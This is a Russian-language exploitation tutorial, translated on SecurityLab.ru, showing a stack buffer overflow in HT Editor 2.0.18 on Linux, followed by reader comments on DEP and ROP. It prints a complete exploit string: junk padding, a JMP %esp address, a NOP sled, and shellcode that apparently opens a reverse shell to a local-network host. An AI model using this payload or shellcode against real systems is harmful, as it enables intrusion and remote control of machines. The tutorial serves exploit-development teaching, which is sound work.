20.06.2011

Разработка эксплоитов для Linux. Часть II (продолжение) – демонстрация эксплуатации переполнения буфера

image

В данном руководстве будет продемонстрирована эксплуатация переполнения буфера на примере обычного приложения. В ходе эксплуатации будут использоваться описанные в предыдущей статье техники.

Автор: sickn3ss

http://sickness.tor.hu

Перевод: SecurityLab.ru

В данном руководстве будет продемонстрирована эксплуатация переполнения буфера на примере обычного приложения. В ходе эксплуатации будут использоваться описанные в предыдущей статье техники.

Требования:

  • Наличие последней версии Debian Squeeze
  • Backtrack 4 R2 (Или любой другой дистрибутив с платформой Metasploit)
  • Понимание основных принципов работы GDB
  • Наличие сценария checksec.sh
  • Уязвимое приложение (HT Editor версии 2.0.18 или ниже)

Компиляция и проверка уязвимого приложения

Для демонстрации переполнения буфера будет использоваться приложение “HT Editor”. Его можно скачать на таких ресурсах, как exploit-db и sourceforge.net. Скачивать необходимо версию 2.0.18 или ниже.

После загрузки приложения можно приступит к компиляции:

##############################
./configure
##############################

Полученные в результате данные должны выглядеть следующим образом:

Рис. 1

Теперь необходимо отключить в Makefile функционал NX, для этого добавим флаг “-z execstack”:

Рис. 2

 
##############################
make
make install
##############################

Итак, мы установили наше приложение. Давайте посмотрим, какой защитный функционал имеется в этом приложении. Для этого воспользуемся сценарием checksec.sh (убедитесь, что полученные в результате данные выглядят как на Рис. 3)

Рис. 3

Как видим, никакой защиты здесь нет.

Открытие приложения в отладчике и вызов исключения

Откроем приложение в GDB, отправим ему мусорные данные и посмотрим, как оно себя поведет. После отправки нескольких строк с данными мы видим, что необходимое для возникновения исключения смещение равно “4108”.

Рис. 4

После отправки мусорных данных на экране может появиться окно, показанное на Рис. 5

Рис. 5

Если это случится, выполните в gdb команду “shell clear”.

Теперь давайте посмотрим на наши регистры.

Рис. 6

Мы перезаписали EBX, ESI, EDI и EIP. Обратите внимание, ESP указывает на наш буфер, который находиться немного выше.

Рис. 7

После отправки нескольких строк с мусорными данными становиться ясно, что требуемое для перезаписи EIP значение равно 4073. Давайте отправим приложению больший объем данных и еще раз вернемся к ESP.

Рис. 8

Рис. 9

ESP действительно указывает на необходимый адрес. Теперь можно приступить к созданию основы эксплоита, которая будет выглядеть примерно так:

##############################
JUNK + 4073 + EIP (перезапись инструкцией JMP/CALL %esp) + NOP Sled + SC
##############################

Выбор необходимой инструкции

Для начала, давайте найдем подходящую JMP/CALL %esp инструкцию

Рис. 10

Существует множество валидных JMP/CALL %esp инструкций. В данном руководстве выберем инструкцию“0x0818f8ff” для нашего шеллкода. В этой статье мы воспользуемся meterpreter.

Рис. 11

Так должен выглядеть получившийся эксплоит:

##############################
"\x41" * 4073 (JUNK) + "\xff\xf8\x18\x08" (JMP %esp) + "\x90" * 30 (NOP Sled) + 
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x01\
x42\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\
x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1" (Shell Code) ##############################

Настройка listener и проверка эксплоита

Для начала давайте настроим listener в Metasploit.

Рис. 12

Теперь запускаем эксплоит в GDB.

Рис. 13

Перезапуск системы и повторный запуск эксплоита

Рис. 14

Рис. 15

Рис. 16

Запущена сессия meterpreter, эксплуатация произведена успешно.

Ссылка на короткую видео демонстрацию по созданию эксплоита для Linux http://vimeo.com/22242861

или введите имя

CAPTCHA
123
21-06-2011 14:23:30
Как всегда на статьи, где хоть как-то нужно думать головой ни одного комментария - все силы бездарно растрачиваются в постах, где пожно позаниматься языковой эквелибристикой.
0 |
21-06-2011 15:14:18
Так здесь не хабр
0 |
Серый кардинал BHC
25-06-2011 18:08:38
На хабре то же самое. И еще хуже.
0 |
Эдик-Лимоновец
04-08-2011 13:21:27
Что коментировать? Ничего нового в статье нет. Книга "Техника взлома - сокеты ,эксплоиты,шеллкод" вышла уже давно.
0 |
fObject
22-06-2011 01:38:13
А я давно уже предлагаю: 1) инженерам Intel & AMD: измените направление роста стека (ну достало уже - ведь это сохранившийся атавизм времен 4-битных процессоров; тогда рост стека сверху вниз был оправдан небольшим объемом памяти; сейчас в таком подходе нет необходимости, зато изменение направления роста сделает невозможным эксплуатацию большинства таких ошибок - EIP адрес просто так в стеке не перезатрешь; хотя кривые руки разработчиков софта и здесь не помогут ). 2) разработчикам всяких ОС: запретите под страхом расстрела выполнение кода в стеке (и вообще данных как кода, а кода как данных), без всяких исключений, которые можно изменять программно (типа вызов системной функции уровня ядра в Windows отключает DEP - нафиг она такая нужна? а еще ее и через реестр можно отключить - вообще пипец; кстати жестко реализованный DEP обламает по полной все современные полиморфные самошифрующиеся вирусы; и между прочим такая защита была внедрена в процессоры еще со времен IAx86 - ни кто, кроме некоторых версий ядер OpenBSD ее не задействует - а зачем? и правда. антивирусы то нужны...). И вообще в настоящей защите не должно быть никаких компромисов. Иначе это не защита - а создание видимости.
0 |
23-06-2011 05:57:10
Большинство (но конечно не все)вирусных проблем из-за несовершенства аппаратной архитектуры.
0 |
23-06-2011 08:36:41
Большинство вирусных проблем - из-за обычной человеческой глупости. Несовершенство аппаратной архитектуры составляет как раз мизерную часть источника проблем. И в большинстве случаев является уже следствием (побочным фактором, если хотите). "Дверь" в свой компьютер изначально открывает сам хозяин компьютера.
0 |
25-06-2011 00:29:37
А как же ROP?
0 |
Серый кардинал BHC
25-06-2011 18:10:31
Судя по всему, оратор не в курсе про эту технику. Это, в целом, видно и из связи "полиморфных вирусов" с DEP'ом, где никакой связи нет.
0 |
Эдик-Лимоновец
04-08-2011 13:19:07
Вы хорошо знаете как реализован DEP и полиморфы? DEP полиморфам не помеха. "И вообще в настоящей защите не должно быть никаких компромисов. Иначе это не защита - а создание видимости. " - любую защиту можно обойти.
0 |
paranoidchaos
27-06-2011 11:36:17
во всём виноваты разработчики языков пограммирования допустим в начале 70-ых многие не знали что переполнение буфера можно было использовать во вред, прошло уже 40 лет и ни одного шага по изменению тех самых опасных функций - нет
0 |
Огого
29-06-2011 11:48:35
Декларация "As is" провоцирует рост очередного поколения ленивых кодеров и их багнутых поделок. Вкупе с сонмом копирастов получается весьма неприятная смесь. Пока не начнут нагибать софтверные копании за некачественные продукты, так и будет продолжаться вся эта чехарда.
0 |